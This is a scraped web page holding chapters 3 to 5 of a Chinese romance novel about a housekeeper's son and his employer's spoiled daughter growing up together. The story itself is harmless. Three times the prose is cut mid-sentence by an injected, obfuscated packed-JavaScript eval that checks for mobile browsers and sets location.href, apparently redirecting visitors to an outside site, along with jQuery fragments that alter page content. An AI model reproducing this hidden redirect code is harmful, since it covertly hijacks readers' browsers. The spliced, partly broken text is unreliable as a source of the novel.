没亲妈管教,姜苔脾气越发乖戾。 今年为止已经气走了三个家政阿姨。 姜霆叹口气,又瞥见院门口提着行李箱的男生:“就是搬家过来不方便吧,这是你那个……孩子?” 焦莱:“是,叫沈凛。” “我看资料,他比我家苔苔大一岁,怎么也在读初三?” “去年我上班的那个厂破产倒闭了,我筹不出钱交他的学费。”焦莱表情颇为捉襟见肘,“这孩子懂事……就休学去人家修车铺里待了一年,赚点生活费。” 姜霆显然不是特别关心,但还是礼貌地“哦”一声表示知道了:“这样,他转学这事儿我交给老张去办。” “好的。”焦莱感激涕零,“谢谢姜先生,麻烦先生了。” 姜霆摆手说小事。 门口车已经到了,接他离开。 焦莱是住家阿姨,之前做过,压根用不着人再带一遍。沈凛从门口将她的行李提进来,她给他拿纸巾擦汗。 母子俩还没说上几句话,沈凛突然如有所感地抬起头。 二楼扶栏那趴着个人,正在俯视这一方会客厅。见他们看过来,姜苔慢悠悠地拉直嘴角,不躲不避地回视着。 “苔苔小姐?我是焦姨,还记得我吗?你前些年还来过我家呢。”焦莱先开口,笑着拉了拉身旁人,“这个是你沈凛哥哥,以前还和你一起玩过的。” 姜苔居高临下,不假思索地回答道:“没印象。” 深州入冬有一个月了,靠海城市的别墅里多数没有装地暖的习惯,因为太潮,最冷的时候全靠壁炉撑着。 她今天没出门,一身毛茸茸的卡通睡衣还没换下,整个人像是裹在法兰绒毯子里。 这种斩钉截铁的冷漠回应,无疑让焦莱有些尴尬。她牵强地笑笑:“前两年你还小,是不怎么记事的。” 姜苔视线扫过他们一眼,没有叙旧的意思,只把人当保姆用:“我饿了,晚点下楼吃饭。” “啊,好。”焦莱应道,“我这就去做。” 姜苔转过身进房间。 没过几分钟,房门口传来敲门声。 二楼只有她自己住,房门没关。姜苔窝在椅子上打游戏,听见声音也没关屏幕,侧首看过去:“干嘛?” 沈凛站在门外:“我妈让我来问你有没有什么过敏的,和不爱吃的?” “以前不是给我做过饭吗?这也要问。” 他带了些探究:“你不是,不记得吗?” 这话一出来,姜苔像是被踩了尾巴的猫,恨不得跳起来:“谁说我记得了?我都说了我什么也不记得!你妈妈不记得的话,就把上个阿姨留下来的笔记本多看几遍。” “……” 噼里啪啦、欲盖弥彰地讲完,她又吹毛求疵地逼问:“还有,谁让你上楼的?” “我不上楼怎么问?” “电话啊!”她指着床边的call机,“别墅的电话不会用啊,傻的吗?” 其实说起记忆,彼此依稀还是有些印象的,也才过了不到三年,又是会记事的年纪了。 姜苔不承认是因为想起那是段“尿床”的黑历史。 而沈凛没有理由去套近乎回忆从前。眼前这个说几句话就气冲冲的姜苔,和两年前在自己家的那个娇娇女已经不像同一个人。 那个女孩虽娇气,却可爱。不会如此刻薄无礼。 微妙的落差感和寄人篱下的现状让沈凛没有作出其他反应,只是垂睫,顺从道:“抱歉。” 她见他转身要走,又踢了脚书桌边的垃圾桶:“等等,把垃圾拎下去。” - 游戏打了十把,3赢7输。 姜苔关了电脑屏幕,趿拉着一双毛拖鞋下楼。一下去又见到沈凛,她纳闷:“你为什么还在这?佣人房不是只提供一间吗?” 别墅佣人房就在地下室旁边,以前姜苔母亲不喜欢家里住进陌生人。但生孩子之后,图月嫂离得近更方便,才临时凿了间工人房。 因此面积并不大,就是个带卫浴的小单间。 他都这么大了,怎么可能还和妈妈睡一间房? 没等姜苔疑惑,从厨房出来的焦莱忙回答:“他会走的,我们今天刚到深州,房子还没找。等你晚点上楼睡了,我下班的时候会带他出去找找落脚的地方。” 姜苔努了努嘴,没再多说,自顾自地坐到餐桌旁。 焦莱做了个手势,让沈凛去冰箱那挑从东京空运过来的白草莓。一箱新鲜草莓里,总有因运输过程漫长而坏掉的。 家里这会儿就三个人。 两个都在做家务,姜苔则坐在餐桌前吃饭。 如果管家张叔在这,就能看出今天她胃口不错,吃得最多。 安静片刻后,院外有车停下的声音。焦莱敏锐地从厨房探出头:“是不是姜先生回来了?” 姜苔翻个白眼:“不是。” 话落,访客风风火火地踩着双高跟鞋进了大门。 那是个兼具成熟度和妖娆的女人,披着条贵气显得庄重的披肩。但面容姣好秀丽,年纪比焦莱还小几岁。 一进屋,女人就没有边界感地坐在餐桌前,使唤道:“新来的月嫂?帮我添副碗筷。” 焦莱不认识这是谁,踟蹰不前地看了眼姜苔。 见她没说话,才照做。 “苔苔,这周末我生日,你和姜总一块来吧。”女人笑得甜美无害,“不然留你一个人在家吃饭,我于心不安。” 姜苔皮笑肉不笑地敷衍:“再说吧。” 女人对她的态度已经习惯,低头吃了两口饭。下一刻却倏地站起来,惊惶道:“什么东西?” 屋里其他人对厚重桌布下的动静一无所知,姜苔更是淡定。 “是蛇吧?”女人想起脚踝的触感,花容失色地往后退,“桌下有蛇!” 焦莱听到这话不可置信:“这位小姐,大冬天的,屋子里怎么可能有蛇?” 女人踩着高跟鞋跑出餐厅这一块,趔趔趄趄往门外的车那喊,仿佛亲眼目睹:“张叔!家里有蛇,好大的一条蛇!” “苔苔,你脚先抬起来。” 焦莱见女人不是开玩笑,这才赶紧示意。 法式桌布厚又长,全然盖住整张矩形餐桌。姜苔不以为然地把脚伸上来,盘坐在椅子上,继续吃饭。 真是蛇的话,焦莱也不敢碰:“阿凛,你也站远点,我去花园拿铁锹来。” 餐桌边没了大人,沈凛俯身去掀桌布。 黑漆漆的餐桌下,还真有一条拇指宽的黄色小玉米蛇,正快速地游过来,一点点地盘在姜苔的毛拖鞋旁取暖。 沈凛自小在镇上长大,见过野生蛇,认出这显然是条宠物蛇。 听见大门口张叔和女人走近的声音,他正要站起来,却被坐在那的姜苔抬腿,一下踩在后背。 他被迫半跪下,不解侧头。 看见她用口型说了三个字:藏起来。 张叔拿着把扫帚,跑进来问:“苔苔,鲍小姐说餐桌下有蛇,你怎么还坐着?” “鲍阿姨在无中生有什么?”姜苔掀开桌布,让他们看,“沈凛,你在底下这么久,看见蛇了?” 沈凛从桌底下出来,站直了些:“没。” “有,大蛇,还嘶嘶地舔我了。”那位鲍小姐还没缓神,呼吸急促,“真的是蛇!” 焦莱也拿着铁锹姗姗来迟,和张叔一起把餐布掀开。两人又在客厅找了一圈,一无所获。 “烦不烦啊?”姜苔一碗饭见底,像是忍无可忍地摔筷子,“还让不让人吃饭了。” 张叔斟酌地看向旁边的女人,打圆场:“鲍小姐,要不今晚我还是送您先回去吧?姜总这两天也不在家。” 女人惊恐地又看了眼餐桌那,不占理,气红着脸出去了。 吃个晚饭被闹一通,谁也不顺心。焦莱还没明白这女人到底什么来头,跟着出门送客。 沈凛外套口袋里那条蛇在这时探出三角头来,又被他摁回去。 姜苔这会儿倒看得出很开心了,下巴高傲地微抬,还哼起了曲儿。雪白的齿,微红的唇瓣,整张灵巧的脸都明媚起来。 沈凛默不作声地看她。 那股熟悉的娇艳感似乎又回到她身上。 浑然天成,毫无做作。 见焦莱一脸愁容地回到屋里,她起身飞快地擦了擦嘴:“我吃完啦。今晚没别的事了,焦姨你可以提前下班。” 说完,她又悄悄在人后对着沈凛做了一个抹脖子的威吓,眼神狡黠:敢说出去,你就完蛋了! 沈凛心领神会,盘着那条小蛇塞回她指向的茶几底下的笼子里。 …… 来到姜家第一天,他总觉得少了什么。 晚上回到出租房的床上时,沈凛才蓦地想起来:那只叫“乌龙”的猫不在她身边了。 - 从这事过后,姜苔貌似对他看顺眼不少。 她性情变化虽大,但也不是完全不讲理。沈凛不会惹她,常摸清楚“姜苔法则”后避而远之,也从不提过去在镇上共度的短暂两天。 他换个城市生活也并没有水土不服,放学早的时候,会过来帮焦莱干活,搬搬燕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727259|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 窝、白酒等重物。平时碰上姜苔下楼,也会礼貌示意。 两人只是佣人孩子和雇主千金的关系。 姜苔脾气倒还是差劲,使唤人天经地义,完全没想过沈凛出现在家里只是来给焦莱搭把手。 这一年,沈凛不是家里的入侵者,反而不知不觉地成了姜苔的善后者。他逆来顺受,对她来说没威胁,甚至也可以没有存在感。 他俩一起对付的,是姜霆身边换来换去的女伴们。 - 姜苔所在的初中是市里不错的学校,还为她们这批初三生开办了毕业典礼。毕业那天,是张叔来接她回去。 她看见副驾驶的沈凛,又看到空空如也的后座:“我爹地没来?” 张叔一如既往地回答:“姜总太忙了。” 姜苔撇撇嘴,上了车。却在沈凛下车的时候,也跟着下来。 一般来说,沈凛会在这个时间去做兼职。张叔不知道他具体是干什么,也没那个闲情逸致特地问,但会顺路地捎上他一程。 今天比较特殊,因为姜苔一路跟着他。 沈凛走进巷子里,转过身:“你到底想干什么?” “让你帮我个忙啰。”姜苔今天因毕业典礼穿了条小礼服裙,拎着裙摆,俏皮歪脑,“事情是这样的……” 芳龄15岁的姜苔终于春心萌动,看上了年级里的一个帅气男生。 “叫应桐,今天还在毕业典礼的舞台上跳街舞了……我跟着他两次,都看见他来你们俱乐部看打拳。”她竖起两根细嫩的手指,像兔子耳朵似的屈指勾了勾,“你今天记得帮我叫住他!就带他去你们俱乐部后门那,我在那等。” 沈凛面不改色:“如果我不帮呢?” “你必须得帮,我有你的把柄在。”姜苔胸有成竹道,“你偷偷打拳陪练客人诶!如果我去俱乐部告发你的话,你还能不能在那冒充你已经成年?” 沈凛明明只比她大一岁,但已经长得好大一只,远超同龄人的白切鸡身材。一米八五的身高还有待向上成长,一眼就能看出是北方人的宽阔骨架。 虽然他不算大块肌肉的类型,但臂膀腰腹没有一丝赘肉,瘦又有力。 用不着和姜苔身边那些男同学一样特意健身,沈凛从小干粗活,糙有糙的活法。 他这副堪比保镖的身架也多次让姜苔吃惊:原来吃剩饭也可以长这么高! 说回正题,小公主得意洋洋捏住别人把柄的模样简直让人气得牙痒。 但作为嘴坏、脾气大全靠一张漂亮脸蛋才能平安长大的姜苔,从不担心自己的面目有多可憎。 于是,沈凛毫无疑问地妥协了。 - 一个小时后,他打完今天的拳赛退场。 出去前,错眼望见那个叫“应桐”的男生还在观众席上。 沈凛心不在焉地打开不常有人出入的后门,乍然和还坐在楼梯上的姜苔打了个照面。 与其说她坐在地上,不如说她是被困在那。 姜苔今天为了搭她那身礼服裙,穿的是双水晶鞋。后鞋跟并不高,但是圆形的,正好卡在镂空的楼梯上了。 一见到他,她鸦长睫毛扑扇扑扇,脸颊鼓鼓的就快要委屈地哭出来,又懊恼地蹬了下脚:“拔不出来。” 沈凛拎了件裹挟着汗腾腾的牛仔外套,屈膝,半蹲在她面前:“我帮你解开绑扣,但鞋应该不能穿了。” 她不方便动手解扣子,沈凛来解开的话,也意味着鞋会直接从镂空的楼梯孔里往下掉。水晶鞋这么高地砸下去,肯定会支离破碎。 姜苔这会儿也没其他选择:“那我怎么回去?” “我给张叔发信息来接了。” “我是说,我怎么从这里到车上。” “我抱你。” 说完这话,他长指已经解开鞋扣,“当啷”的清脆声音从距离近两米的地面传上来。 姜苔有些扭捏地拽紧自己的裙子,拢了拢胸口确定没有走光风险。她也没站起来,只是微微抬高手臂。 沈凛一只手抱她,一只手还要拎她那装饰性的红色小书包。 她不想掉下去,只能勾紧他脖子,可又有点嫌弃他身上的汗。好在刚哭过,嗅觉有点堵住了,闻不着汗味。 视线里是男生薄抿的唇,挺傲的鼻骨,肩背斜方肌的青涩线条也随着他走动而轻扯着。 在下楼梯,姜苔吸了吸鼻子,憋不住地开口:“应桐说,他喜欢的是你!” “……” 小姑娘眼眶还是红的,气得忍不住打了一下他宽直的肩膀,力道重:“你呢?你不准喜欢他!” 沈凛神情里都看不出无奈的痕迹,早就习惯她这些无厘头的要求。 他眉骨太深邃,低着头的时候看着冷硬幽戾,像在皱眉生气。又长得高,比他矮的人其实会有些忌惮。 不过姜苔和他已经算熟悉,知道他只是面无表情在放空。她又打他一下,要他给回应。 沈凛往前走的步伐稳当可靠,嗓音冷淡,还带着处于变声期里的沙哑:“我本来就不喜欢男生。” “你最好是!”姜苔咬着下唇,后知后觉到表白失败很丢人,“你以后也不准搭理他!” 巷子里没人走动,只有他们一呼一吸的动静。 安静了没十秒钟,她又喊:“沈凛。” “沈凛!” “我真讨厌你!” 沈凛终于回答:“哦。” 4. 第 4 章 八字还没一撇的少女心事就此夭折。 但当时的姜苔尚未预料到,后来竟会阴差阳错地和应桐成了朋友。 姜苔从小爱画画,即使是出于娱乐兴致,这些年来也陆陆续续参加了不少美术比赛。 她的尝试从浮世绘、国风山水到如今的角色动画……又杂又广。 因此家庭教育规划师给姜霆的建议是送姜苔去留学,最高目标是申请有“动画界的哈佛”之称的CAIARTS,即加州艺术学院。 姜苔没意见。 她最喜欢的动画片《玩具总动员》系列制作人:约翰·拉塞特,也是这个学校的优秀毕业生。 不料高中升学,她和应桐在本市朗御中学的国际部见到了。 当时的沈凛还远在培乔中学,但也恰好夹在两人之间。 他偶尔会在拳击俱乐部听应桐聊起姜苔这个“校园红人”:她带领全班投诉军训教官恶意加练;新生晚会上穿了一件贵得离谱的高定裙;帮实习女老师教训班里刺头儿将对方骂哭;在全校大扫除当天创造了用八桶水洗半个马桶的记录…… 回到焦莱那,又要被迫听姜苔吐槽应桐是个“校园怪人”,以前对他有好感简直是自己瞎眼! 他买中年老头衫冒充教育局领导在年级里视察;他为了多得两个狮子头把食堂大妈喊成亲妈;原来学校表白墙的创立者是当初还在上六年级的他…… “还有哦,听说他上学期跟那个白孔雀唐泛雨表白,还被拒绝了。”姜苔气定神闲地坐在秋千上,两条骨架纤细的长腿蹬在空中荡啊荡,“你说搞不搞笑?” 彼时的沈凛正在花园里帮忙修剪风滚草,少年弓着修长的脊骨,面容清隽,侧头问:“为什么搞笑?” 姜苔义愤填膺:“他以前可是说喜欢你诶!” “……” 沈凛欲言又止:“你有没有想过,他只是——” 姜苔挖了口冰激凌塞嘴里,话语囫囵不清:“紫四森莫?” 沈凛诚恳回答:“他只是不喜欢你,才那样说的。” 沈凛以为姜苔早就清楚,当初应桐拒绝她的理由只是委婉地找了个离谱的借口。 只是没想到她已经和应桐认识一年多,却依旧对他喜欢男生这件事深信不疑。 姜苔沉默了。 调羹里那勺冰激凌都快化了也没吃一口。脸上表情从低着头的凝重,到陷入沉思,再到黛眉紧蹙。 沈凛看她沮丧那样,试图说点什么挽救。 下一秒却见她从秋千上蹦起来,波光潋滟的唇瓣一启一阖,大声反驳道:“不可能!怎么会有人不喜欢我!!” “……” 说完,姜苔重重将手上的冰激凌放在石桌上,抓着小碎花裙摆扬长而去之前,还气鼓鼓地嘟囔了句:“真没眼光。” - 少年时代的姜苔就这么横冲直撞地长大,谁的面子也不给。 她家境优异,但比起圈子里的同龄孩子来说,没怎么学坏,学校之外的生活其实也很简单。 周末会去图书馆写作业,不想回家吃饭就拉着沈凛去外面吃快餐,会去7仔买思乐冰,约着同学去少年宫。 可某种程度上,也在沈凛眼里迅速从一个不谙世事的小魔女,变成了更盛气凌人的霸王花。 “沈凛!帮我去店里把之前修好的手绘屏拿一下。” “沈凛,周末空出来陪我去买新的颜料和水笔。” “沈凛,你今天来接我放学吧,学校发新制服了,我书包好重……喂,才不是被叫家长!” 姜大小姐的趾高气扬一如既往,甚至更甚。 高二结束的暑假。 因住了近4年的学租房拆迁,沈凛需要重新找房子。 或许是多年没换过家政阿姨,姜霆对焦莱母子俩的底细也一清二楚。他这几年的生意越来越忙碌,出差住酒店的时间长过在家。 因此热心地提出建议,可以让沈凛来家里暂住。 反正还有一年就该上大学了。 那天姜苔正好从书城逛完回来,就看到姜霆在餐厅那喝去火气的糖水。 父女俩这些年隔阂不少,但看清姜苔烦他将新女友带回家的心思,他如今再也没带过人回来。平时重大节日一定会回家,对姜苔也是有求必应。 作为一个单亲父亲,他自认为无愧于心。 家里户口本上就他们两个人,平时聚少离多,姜苔也并没有要和亲爹老死不相往来的决心。 但她已经到了稍显叛逆的年纪,心事不再和父亲谈,也对他之前试图用新人忘记旧人的说法嗤之以鼻。 她三步一蹦坐到餐桌对面,直接通知:“过几天我要去港城住一段时间。” 姜霆吩咐姜莱把他出差买的礼物拿过来,顺口问:“外婆找你?那生日也在港城过?” “对啊。”姜苔兴致缺缺地拆开礼盒,看见里面是双高奢的周年限定板鞋,码数还停留在两年前。她把不满写在脸上,“这些新款一出来,品牌方就会送,你干嘛特地带回来?” “爸爸这次回来得急,没时间挑礼物。”姜霆看见她垂下的唇角,“不如你下次告诉我,生日礼物需要什么?” 姜苔想说根本不用这些礼物。 每次出差都买一些无关紧要的礼品,做给谁看啊?生日礼物想不到就别买了,反正她想要的都很容易得到。 但姜苔没说,而是选择将话题接下。 “前年,你送了一副迪士尼艺术家画的小鹿斑比概念图,那个我很喜欢。” 说完就起身,她在一楼的几间客房门口转了转:“不是说沈凛搬进来了吗?怎么一直没见到他。” 别说人影了,行李都没看见。 焦莱正在主卧帮姜霆收拾床铺,探出头来回答:“哦,小凛不住客房,住在废弃杂物间了。” 废弃的杂物间是指一楼到二楼的大楼梯底下的小暗房。 姜苔推门进去。 空间局促得紧,里头窗户也小,透光弱。大白天的还得开一盏灯,一眼就是单人床边正在整理书本的沈凛。 他在这里显得格外与世无争,也不知道外面发生了什么。 少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13727260|144963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿了件一尘不染的白色polo衫,黑睫低垂,窄瘦腰身被一截黑色抽身长裤勒紧,身上有清冽的海盐柠檬洗衣粉味。 他个子高,在这样的暗房构造里站起来还得微驼背。 逼仄的小房间,根本挪不动几步脚。 姜苔毫不迟疑地坐到浅蓝色带着浅淡香气的床单边上,不解道:“你为什么不住客房?一楼的三间客房都是空的,平时也不会有客人来。” 她坐着,沈凛半蹲着收拾小书架,以仰视角度看她:“抱歉,我只借住高三这一年,高考后会搬走的。” 这话里,其实带了些怕麻烦到她的客套。 但姜苔心大,没反应过来:“我知道啊,有什么好抱歉的?我家里这么大。” “……” “沈凛你知道吗?拿自己最富有的东西来赠予人,这一点也不麻烦,所以你不用觉得太有心理负担。”姜苔终于察觉到少年人别扭的心思,想了想,说道,“就比如:钱是我爸爸最不缺的,也是我最不缺的。” 在几百平的房子里“同居”,但和平时也没什么变化。 沈凛极少不在一楼杂物间以外的地方活动,所有的个人物品都牢牢锁在楼梯间。兼职太多,平时也只有晚上才会回来。 姜苔晚饭后找他玩的时间倒是多了,在家也不孤独。 以前顶多是在车里和他聊聊国际部的同学有多早熟,厕所里传出的各种大尺度八卦。 暑假快结束之前,她晚上还要找他打游戏、让他帮她的手绘板充电、帮她去书店抢第一批漫画,甚至帮她涂脚指甲油。 “焦姨帮我吹头发,每次都能吹出好看的卷。”有一天,她躺在沙发上快要睡着,迷迷糊糊地这样说,“沈凛,我感觉你和你妈妈都很好……比我爸爸对我还好。” 沈凛还没回应,就被焦莱叫去外面花园里。 “转学的事都弄好了,明天你跟着去报道就行。” 让他从培乔转去朗御,一是考虑通勤。二来沈凛成绩优异,学杂费可以豁免。 另外的原因则是焦莱前些日子听说沈凛父亲出狱了。本来只判了六年,但沈东石狱内表现不好,打架斗殴致人重伤,又加判了两年。 只是再怎么关押,也已经到了时限。 当初焦莱带着沈凛来深州,也是为了躲这个杀人犯的爹:“这学期不要接陌生人电话,千万别被找到了。小凛啊,最关键的一年了,考完就好了。” 沈凛沉默点头,看见她手机亮了几下。 焦莱点开信息:“我去做份夜宵,给姜总送过去,他今天晚上得加班。” 沈凛喊住她:“张叔不在吗?” “多麻烦啊,大晚上的还要他跑一趟。”焦莱捋了捋额边鬓发,“我们受了姜总很多恩惠,你这次能顺利转学进朗御,和苔苔一个学校,也多亏了他。我能多搭把手,就多做一些。” “我送吧。” 焦莱好笑道:“你这孩子,不是快开学了吗,东西收拾没有?这种跑腿活儿不用你干。” “我去送。”沈凛坚持道,“您做完喊我。” 5. 第 5 章 开学第一天,沈凛是和姜苔一块儿去学校的。以往他们出发的目的地南辕北辙,只有回家时,才会有一段短暂同乘的路程。 但今天他们要去的都是朗御。 早上,姜苔下楼吃早餐,淡绿色睡裙下是瓷白的小腿脚踝,外面罩了一件薄薄的米色针织衫。人顶着一头蓬松如藻的黑发,眼睛困到还没全睁开。 她昨晚和朋友们打游戏打得太晚,眼睑下留着淡淡乌青。唇瓣也没有什么血色,打着哈欠问:“焦姨,沈凛呢?” 焦姨拿着发卡过来给她绑头发,听见楼梯间的动静:“喏,出来了。” 沈凛身上背了个包,他还没领到朗御校服,穿的是平日里的白T运动裤。清晨花园里的清凉雾气涌进来,半隐没着男生的侧脸棱角。 姜苔呆滞地咬了两口红米肠,朝那看过去:“早,你不吃饭吗?” 他在玄关处换鞋:“我吃过了。” “这么早?”姜苔皱着眉,又下命令,“你打算一个人走吗?等我。” 这顿早餐慢悠悠地吃了半个小时。 张叔将车开到门口,把姜苔在暑假买的一些零食礼品拎上车。 “你坐副驾驶吧。”后座的姜苔趴在车窗口招呼沈凛,解释道,“等会儿我们还要去接好好和卢娜,我平时都是和她们一起上学的,不过放学就不是一块儿了。” 他没有异议,只敛着漆眉看向手里的单词本。 十分钟后。 这辆迈巴赫停在一处高档大平层小区门口,卢娜拎着一个俏皮的手提包,已经在路边等了一会儿。 她和姜苔一样都是国际部学生,高二玩在一块儿的。 卢娜穿着相同的水手蓝白制服,能看出百褶裙的裙摆被二次修剪过,本来是在膝盖骨的长度,在她身上就已经到了大腿。 “今天这么慢啊。”卢娜抱怨地上了车,无比自然地从包里拿出小镜子和唇釉,“给,我新发现的色号,巨显白!” 姜苔接过来,笑眯眯地往嘴上薄涂了一层:“我起晚了嘛。那几个袋子里有我给你们带的零食,你自己拿。” 后座的两个女孩又依次分享了眉笔、可卸指甲油和小首饰,还叽叽喳喳地聊起了这几天的时尚杂志和彼此的夏令营生活。 车继续往前开,绕了一段路,这次是停在一处老居民房的马路边。 还没停稳,卢娜就已经降下车窗探出头,对着奔过来的女孩大喊:“方好好!都一个暑假过去了,你怎么还背着这个老气破烂的书包啊?” 方好好绑着中规中矩的低马尾,穿着普高部的短袖长裤校服,像是习惯她的挖苦,只安静地上车:“早啊,今天怎么多了一个人?” 卢娜这才顺着她的视线看过去:“对啊,居然有个人在这!他一直在的吗?是不是张叔的儿子?” 司机张叔笑了一声,打着方向盘摇摇头。 “啊我忘记介绍给你们认识了!沈凛,都怪你总不出声,我都没想起来你坐在这。”姜苔懊恼地说完,坐直了一些,清清嗓子,“他叫沈凛,凛冬的凛,暂时住在我家里,高三这一年都会和我们一起上学啦。” 沈凛礼貌颔首,并没有要和她们多交谈的意思。 卢娜上下打量着新加入他们的男生,从他全身上下的穿着打扮也没看出什么特别的地方。撇过头,继续无所谓地吃零食。 倒是方好好多问了句:“你也是国际部的?” “他不是,和你一样是高考生。”姜苔抢答完,又问,“沈凛,你是不是纯理1班的?” 沈凛点头,嗓音平缓:“嗯。” 方好好的兴致都高了些,推推鼻梁镜框:“这么厉害,我在纯理2班,就在你隔壁。你是新生吗?” “是。” “之前在哪儿读啊?” 沈凛:“培乔一中。” “那不就是在我家那边的学校吗?”方好好诧异,“我刚上高一也是在培乔读,高一下学期才转过来的。” 借此巧合,他们一来一回地多聊了几句。 车已经停到校门口,普高部的教学楼离校门最近。姜苔她们的国际部还得转到东门一侧,要再多开三分钟。 于是沈凛和方好好一同先在这里下了车。 两人一前一后地走着,都背着书包,看上去很和谐地走入了人来人往的校园匝道里。 姜苔往他们那多看了一眼,不知道是庆幸还是感慨地说道:“我还担心他刚转学不知道教学楼怎么走呢,还好能和好好一块儿。” 卢娜这时凑到了姜苔耳边,发出咯咯的坏笑:“你看方好好那样子,她不会看上这男的了吧?” 姜苔神色怪异:“啊?你怎么会这么想?” “她之前可是对我们聊年级里的帅哥都不感兴趣的,可今天挺殷勤的。”卢娜努努嘴,给出理由,“再说了,这男的长得不错。他俩又都是普高部的,多有缘啊。” 其实这几年的寒暑假期,沈凛已经不像在鞍岭时那样暴晒干活、折腾自己。冷厉棱角渐渐被磨平了点,野性熠亮的一双眼睛也逐渐沉静,温和。 而且,皮肤养白了许多。 他本来就是冷肤调性,这么看确实越发清朗英俊,远去的那道身影像一棵高大蓬勃的乌桕树。 姜苔收回视线,不赞同地说:“好好她……她应该不喜欢沈凛。好好是书呆子耶,她很容易被坏小子吸引的!” 卢娜不轻不重地笑了下:“那这个沈凛呢?他刚才可是对方好好很热情。” 姜苔顿了顿,耸耸肩:“不知道诶。” 她突然发现自己和沈凛认识得最久,但好像又没有很熟。 - 朗御是综合性市重点高中,国际部新开拓出来还没有几届,只按照A-level,AP,IB三种由简到难的课程体系来分班。 姜苔申请的学校都在美国,所以主修的是AP课程,但选修里也会走班去上几节IB的论文课来提升GPA。 进到教室,她先交了暑期布置的assignment作业。 上午第一节课是口语课。 Miss杨打开电脑,将今天课上的辩论题展示在黑板上:【爱令人自由还是不自由。】 国际部的学生都是奔着申请国外大学的,教育方向也和国内高考生们的不同。这次辩论全用英文口述,班上二十个人,分为两大组。 姜苔作为A组组长,是反方,要论证“爱令人不自由”这一论点。 她的对手,是从高一分班后就和自己处处都不相上下的死对头:金思蔓。 都说这一届的国际部有三大美女,一是隔壁班的唐泛雨,二是金思蔓,第三位则是姜苔。 当然排名顺序不是按所谓的美貌划分,而是人气度。 唐泛雨各方面能力都均匀,是挑不出毛病的学生会会长。而姜苔在小程序投票中以三票之差屈居金思蔓位下,是因为大家一致认为姜苔脾气太大了。 当时对于这个投票链接,唐泛雨没反应。金思蔓积极拉票,甚至和唐泛雨也交好。只有姜苔次日发动态把组织投票的人狠狠骂了一顿,说他们很无聊的话不如去操场搬砖,险些“痛失”参赛资格。 唐泛雨在这起“争斗中”置身事外。 但金思蔓和姜苔一个班,从必修常规课程的考试到平时文艺活动、体育大课上都成了对手,甚至名字都有同一个草字头! 江湖人称:天选的死对头。 分完组,姜苔看向坐到自己对面的卢娜,瞪着眼:“你怎么到她那组去了?” 卢娜指了下讲台上的Miss杨,无奈道:“老师分的啊。”说完又摊手表示,“而且我觉得这边论题更简单一点。” 姜苔气哄哄地对她伸出两只手的食指和拇指,做了个一起倒着往下的手势:“叛徒!” “……” 辩论开始,金思蔓率先打出第一枪。各位组员争先发表意见后,很快到了组长为首的自由对峙时间, “爱让人自由。”金思蔓斗志昂扬,“因为我爱一样东西,我是根据我的喜欢去爱的。” 姜苔微笑:“你所有的标准都基于你爱它,你爱它,你就不可能自由。” “我爱家里养的一只小狗,它很可爱,也很爱我,对着我就会摇尾巴,这是一份最纯粹的爱,我怎么就不自由了?” “那你可能不够爱它。” “……” 金思蔓没被她带偏:“这是诡辩,爱不爱由我来决定,我拥有对‘爱’的控制能力。” “正方辩手,我先阐述说你‘不够爱它’的论证。你说你爱小狗,基于它给你的情绪价值,基于它摇摇尾巴的可爱。可如果有一天,它脱毛、生病,变得丑陋,不再亲近你,你还能爱它吗?” 姜苔不紧不慢地继续说:“其次,你真的拥有对‘爱’的控制能力吗?我们常说爱让人盲目,正是因为爱是不可控的。爱上一样事物时,是本能先爱上它,之后才会慢慢意识到正在爱它。” “……最后,我方坚持认为:我们在不自由的爱里甘愿被裹挟,明知不自由,但还是不可控地去爱。” 辩论如火如荼中,在下课铃响时结束。 MIss杨没有给出正反两边的胜负,只是说了句这场辩论很精彩,大家齐心协力引经据典,下堂课会换个辩题继续比赛。 - 中午吃食堂,国际部和普高部共用一个食堂。操场、食堂、图书馆是国际部学生和普高部学生为数不多能会面的几个场所。 朗御财大气粗,基础设施健全,食堂的餐点都堪比高星级饭馆。 方好好打过三菜一汤,照常来找姜苔她们。 姜苔点了一份super sandwiches,把上面的肉酱焗薯分给她一半,又往她身后看:“你没和沈凛一起吗?” 方好好疑惑:“你没喊我带他啊,要不你给他发个信息?” 姜苔挖了一口沙拉:“我没有他手机号。” 他们平时见面的机会太多,就算有事儿也是直接打家里座机,让焦莱或张叔转达。 卢娜笑喷:“不是吧姜大小姐,那你还想着让他过来一起吃饭啊。” 姜苔:“我就问问,好歹是开学第一天嘛。” 方好好语气如常:“怕什么?他长成那样,肯定不缺新朋友的啊,多得是想认识他的。” 姜苔听到这,好奇道:“上午发生了什么吗?” “我带他去教导处领新书,一路上碰到三个搭讪的。”方好好毫不夸张地说,“其中一个还是上学期和我吵过架的语文科代表……‘早啊,你来教导处干嘛?对了,这位同学是?’” “有没有搞错啊?每个人想认识帅哥的转折都这么生硬。” 方好好顶着一张面无表情的脸,模仿着她们的搭讪口吻,显得极为好笑。 姜苔和卢娜都被她那张生无可恋的扑克脸逗得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 